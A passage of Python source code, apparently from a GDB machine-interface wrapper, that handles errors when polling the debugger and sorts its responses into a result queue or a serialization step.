            self.logger.warning('Gdb poke error: %s', e)
            return
        except Exception as e:
            self.logger.critical('Unexpected error: %s', e)
            self.dbg_stop()
            return

        for resp in responses:
            if resp['type'] == 'result':
                self.result_queue.append(resp)
            else:
                self.serialize_mijson(resp)